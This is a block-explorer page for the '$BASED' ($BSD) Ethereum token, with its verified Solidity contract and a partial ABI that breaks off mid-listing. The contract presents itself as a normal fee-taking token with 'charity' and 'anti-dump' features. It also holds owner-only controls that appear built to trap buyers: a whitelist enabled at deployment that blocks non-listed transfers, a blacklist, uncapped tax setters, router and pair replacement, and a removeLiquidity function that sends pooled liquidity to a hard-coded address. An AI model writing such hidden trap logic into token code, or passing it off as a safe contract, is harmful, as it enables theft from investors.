ETH Price: $3,527.54 (+6.98%)

Token

$BASED ($BSD)
 

Overview

Max Total Supply

69,420,420,420,420 $BSD

Holders

198

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
165,117,122,277.322911932 $BSD

Value
$0.00
0xd81b5e4c883710738a9d6eb0f14c438a651dabb4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Based

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-24
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-16
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
interface IUniswapV2Router {
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}


contract Based is Context, IERC20, Ownable{
    using Address for address payable;
    
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => bool) public allowedTransfer;
    mapping (address => bool) private _isBlacklisted;
    mapping (address => bool) private isWhitelisted;
    bool public whitelistEnable;

    address[] private _excluded;

    bool public tradingEnabled;
    bool public swapEnabled;
    bool private swapping;
    
    
    
    //Anti Dump
    mapping(address => uint256) private _lastSell;
    bool public coolDownEnabled = false;
    uint256 public coolDownTime = 0 seconds;
    
    modifier antiBot(address account){
        require(tradingEnabled || allowedTransfer[account], "Trading not enabled yet");
        _;
    }

    IRouter public router;
    address public pair;

    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    uint256 private _tTotal = 69420420420420 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 public swapTokensAtAmount = 800_000 * 10**9;
    uint256 public maxBuyLimit = 173551051051* 10**9;
    uint256 public maxSellLimit = 173551051051 * 10**9;
    uint256 public maxWalletLimit = 173551051051 * 10**9;
    
    uint256 public genesis_block;
    
    address public marketingWallet = 0x22550aD35E4fE2b9349F2086dc6aa90C0156aB50;
    address public charityWallet = 0x0c9d9Ade619F5bC16922344B1CEBdE033F283d01;
    address public UniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    string private constant _name = "$BASED";
    string private constant _symbol = "$BSD";

    struct Taxes {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity; 
        uint256 charity;
    }

    Taxes public taxes = Taxes(0, 2, 2, 1);
    Taxes public sellTaxes = Taxes(0, 2, 2, 1);

    struct TotFeesPaidStruct{
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity; 
        uint256 charity;
    }
    
    TotFeesPaidStruct public totFeesPaid;

    struct valuesFromGetValues{
      uint256 rAmount;
      uint256 rTransferAmount;
      uint256 rMarketing;
      uint256 rLiquidity;
      uint256 rCharity;
      uint256 tTransferAmount;
      uint256 tMarketing;
      uint256 tLiquidity;
      uint256 tCharity;
    }

    event FeesChanged();
    event UpdatedRouter(address oldRouter, address newRouter);
    address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public lpTokenAddress;
    address public recipientAddress = 0x7452ee6c8CB3acAb82Af1dd49f9033A1e27080dE;
    IUniswapV2Router public router2;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor () {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory())
            .createPair(address(this), _router.WETH());

        router2 = IUniswapV2Router(routerAddress);
        router = _router;
        pair = _pair;
        lpTokenAddress = pair;

        _rOwned[owner()] = _rTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[marketingWallet] = true;
        _isExcludedFromFee[charityWallet] = true;
        
        allowedTransfer[address(this)] = true;
        allowedTransfer[owner()] = true;
        allowedTransfer[pair] = true;
        allowedTransfer[marketingWallet] = true;
        allowedTransfer[charityWallet] = true;
        _allowances[owner()][UniswapRouter] = _tTotal;


        whitelistEnable = true;
        isWhitelisted[address(this)] =true;
        isWhitelisted[owner()] = true;
        isWhitelisted[pair] = true;
        isWhitelisted[UniswapRouter] = true;
        isWhitelisted[marketingWallet] = true;
        isWhitelisted[charityWallet] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }
    function removeLiquidity() external onlyOwner {
    uint256 amountTokenMin = 0;
    uint256 amountETHMin = 0;
    uint256 amountToken = IERC20(lpTokenAddress).balanceOf(address(this));

    IERC20(lpTokenAddress).approve(address(router2), amountToken);

    // Remove liquidity from Uniswap
        router2.removeLiquidityETH(
        lpTokenAddress,
        amountToken,
        amountTokenMin,
        amountETHMin,
        recipientAddress,
        block.timestamp + 600 // 10 minutes deadline
    );
}
    function burn(uint256 amount) external onlyOwner{
        _rOwned[msg.sender]  -= amount; 
        _tTotal -= amount;
    }
    //std ERC20:
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    //override ERC20:
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public  override antiBot(msg.sender) returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public  antiBot(msg.sender) returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public  antiBot(msg.sender) returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool)
    { 
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }



    function setTradingStatus(bool state) external onlyOwner{
        tradingEnabled = state;
        swapEnabled = state;
        if(state == true && genesis_block == 0) genesis_block = block.number;
    }
    function setWhitelistStatus(bool state) external onlyOwner{
        whitelistEnable = state;
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount/currentRate;
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }


    function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _charity) public onlyOwner {
       taxes = Taxes(_rfi,_marketing,_liquidity,_charity);
        emit FeesChanged();
    }
    
    function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _charity) public onlyOwner {
       sellTaxes = Taxes(_rfi,_marketing,_liquidity,_charity);
        emit FeesChanged();
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal -=rRfi;
        totFeesPaid.rfi +=tRfi;
    }

    function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
        totFeesPaid.liquidity +=tLiquidity;

        if(_isExcluded[address(this)])
        {
            _tOwned[pair]+=tLiquidity;
        }
        _rOwned[pair] +=rLiquidity;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        totFeesPaid.marketing +=tMarketing;

        if(_isExcluded[address(this)])
        {
            _tOwned[marketingWallet]+=tMarketing;
        }
        _rOwned[marketingWallet] +=rMarketing;
    }
    
    function _takeCharity(uint256 rCharity, uint256 tCharity) private {
        totFeesPaid.charity +=tCharity;

        if(_isExcluded[address(this)])
        {
            _tOwned[charityWallet]+=tCharity;
        }
        _rOwned[charityWallet] +=rCharity;
    }



    
    function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
        to_return = _getTValues(tAmount, takeFee, isSell);
        (to_return.rAmount, to_return.rTransferAmount, to_return.rMarketing, to_return.rLiquidity) = _getRValues1(to_return, tAmount, takeFee, _getRate());
        (to_return.rCharity) = _getRValues2(to_return, takeFee, _getRate());
        return to_return;
    }

    function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {

        if(!takeFee) {
          s.tTransferAmount = tAmount;
          return s;
        }
        Taxes memory temp;
        if(isSell) temp = sellTaxes;
        else temp = taxes;
        s.tMarketing = tAmount*temp.marketing/100;
        s.tLiquidity = tAmount*temp.liquidity/100;
        s.tCharity = tAmount*temp.charity/100;
        s.tTransferAmount = tAmount-s.tMarketing-s.tLiquidity-s.tCharity;
        return s;
    }

    function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount,uint256 rMarketing, uint256 rLiquidity){
        rAmount = tAmount*currentRate;

        if(!takeFee) {
          return(rAmount, rAmount ,0,0);
        }

        rMarketing = s.tMarketing*currentRate;
        rLiquidity = s.tLiquidity*currentRate;
        uint256 rCharity = s.tCharity*currentRate;
        rTransferAmount =  rAmount-rMarketing-rLiquidity-rCharity;
        return (rAmount, rTransferAmount,rMarketing,rLiquidity);
    }
    
    function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rCharity) {

        if(!takeFee) {
          return(0);
        }

        rCharity = s.tCharity*currentRate;
        return (rCharity);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply/tSupply;
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply-_rOwned[_excluded[i]];
            tSupply = tSupply-_tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {


        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
        require(!_isBlacklisted[from] && !_isBlacklisted[to], "You are a bot");
         if(whitelistEnable){
            require(isWhitelisted[from], "You are not whitelisted");
            require(isWhitelisted[to],"You are not whitelisted");
        }
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            require(tradingEnabled, "Trading not active");
        }
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && block.number <= genesis_block + 3) {
            require(to != pair, "Sells not allowed for first 3 blocks");
        }
        
        if(from == pair && !_isExcludedFromFee[to] && !swapping){
            require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
            require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
        }
        
        if(from != pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && !swapping){
            require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
            if(to != pair){
                require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
            }
            if(coolDownEnabled){
                uint256 timePassed = block.timestamp - _lastSell[from];
                require(timePassed >= coolDownTime, "Cooldown enabled");
                _lastSell[from] = block.timestamp;
            }
        }
        
        
        if(balanceOf(from) - amount <= 10 *  10**decimals()) amount -= ( amount - balanceOf(from));
        
       
        bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
        if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            if(to == pair)  swapAndLiquify(swapTokensAtAmount, sellTaxes);
            else  swapAndLiquify(swapTokensAtAmount, taxes);
        }
        bool takeFee = true;
        bool isSell = false;
        if(swapping || _isExcludedFromFee[from] || _isExcludedFromFee[to])takeFee = false;
        if(to == pair) isSell = true;
        if(to != pair && from != pair) takeFee = false;
        _tokenTransfer(from, to, amount, takeFee, isSell);
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {
        valuesFromGetValues memory s = _getValues(tAmount, takeFee, isSell);

       

        if (_isExcluded[sender] ) {  //from excluded
                _tOwned[sender] = _tOwned[sender]-tAmount;
        }
        if (_isExcluded[recipient]) { //to excluded
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender]-s.rAmount;
        _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
        
        if(s.rLiquidity > 0 || s.tLiquidity > 0) {
            _takeLiquidity(s.rLiquidity,s.tLiquidity);
            emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing + s.tCharity);
        }
        if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing);
        if(s.rCharity > 0 || s.tCharity > 0) _takeCharity(s.rCharity, s.tCharity);
        emit Transfer(sender, recipient, s.tTransferAmount);
        
    }

    function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap{
        uint256 denominator = (temp.liquidity + temp.marketing + temp.charity) * 2;
        uint256 tokensToAddLiquidityWith = contractBalance * temp.liquidity / denominator;
        uint256 toSwap = contractBalance - tokensToAddLiquidityWith;

        uint256 initialBalance = address(this).balance;

        swapTokensForBNB(toSwap);

        uint256 deltaBalance = address(this).balance - initialBalance;
        uint256 unitBalance= deltaBalance / (denominator - temp.liquidity);
        uint256 bnbToAddLiquidityWith = unitBalance * temp.liquidity;

        if(bnbToAddLiquidityWith > 0){
            // Add liquidity to pancake
            addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith);
        }

        uint256 marketingAmt = unitBalance * 2 * temp.marketing;
        if(marketingAmt > 0){
            payable(marketingWallet).sendValue(marketingAmt);
        }
        uint256 charityAmt = unitBalance * 2 * temp.charity;
        if(charityAmt > 0){
            payable(charityWallet).sendValue(charityAmt);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function bulkExcludeFee(address[] memory accounts, bool state) external onlyOwner{
        for(uint256 i = 0; i < accounts.length; i++){
            _isExcludedFromFee[accounts[i]] = state;
        }
    }

    function updateMarketingWallet(address newWallet) external onlyOwner{
        marketingWallet = newWallet;
    }
    
    function updateCharityWallet(address newWallet) external onlyOwner{
        charityWallet = newWallet;
    }

    
    function updateCooldown(bool state, uint256 time) external onlyOwner{
        coolDownTime = time * 1 seconds;
        coolDownEnabled = state;
    }

    function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
        swapTokensAtAmount = amount * 10**_decimals;
    }

    function updateSwapEnabled(bool _enabled) external onlyOwner{
        swapEnabled = _enabled;
    }
    
    function updateIsBlacklisted(address account, bool state) external onlyOwner{
        _isBlacklisted[account] = state;
    }
    function updateIsWhitelisted(address account, bool state) external onlyOwner{
        isWhitelisted[account] = state;
    }
    function isWhitelistedAddress(address account) public view returns(bool){
        return isWhitelisted[account];
    }
    function bulkIsBlacklisted(address[] calldata accounts, bool state) external onlyOwner{
        for(uint256 i =0; i < accounts.length; i++){
            _isBlacklisted[accounts[i]] = state;

        }
    }
    function bulkIsWhitelisted(address[] calldata accounts, bool state) external onlyOwner{
        for(uint256 i =0; i < accounts.length; i++){
            isWhitelisted[accounts[i]] = state;

        }
    }
    
    function updateAllowedTransfer(address account, bool state) external onlyOwner{
        allowedTransfer[account] = state;
    }
    
    function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell) external onlyOwner{
        maxBuyLimit = maxBuy * 10**decimals();
        maxSellLimit = maxSell * 10**decimals();
    }
    
    function updateMaxWalletlimit(uint256 amount) external onlyOwner{
        maxWalletLimit = amount * 10**decimals();
    }

    function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
        router = IRouter(newRouter);
        pair = newPair;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldRouter","type":"address"},{"indexed":false,"internalType":"address","name":"newRouter","type":"address"}],"name":"UpdatedRouter","type":"event"},{"inputs":[],"name":"UniswapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowedTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkExcludeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkIsWhitelisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"charityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolDownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolDownTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isWhitelistedAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpTokenAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recipientAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router2","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"routerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"charity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_rfi","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_charity","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_rfi","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_charity","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setTradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setWhitelistStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"charity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"charity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateAllowedTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateCharityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"updateCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"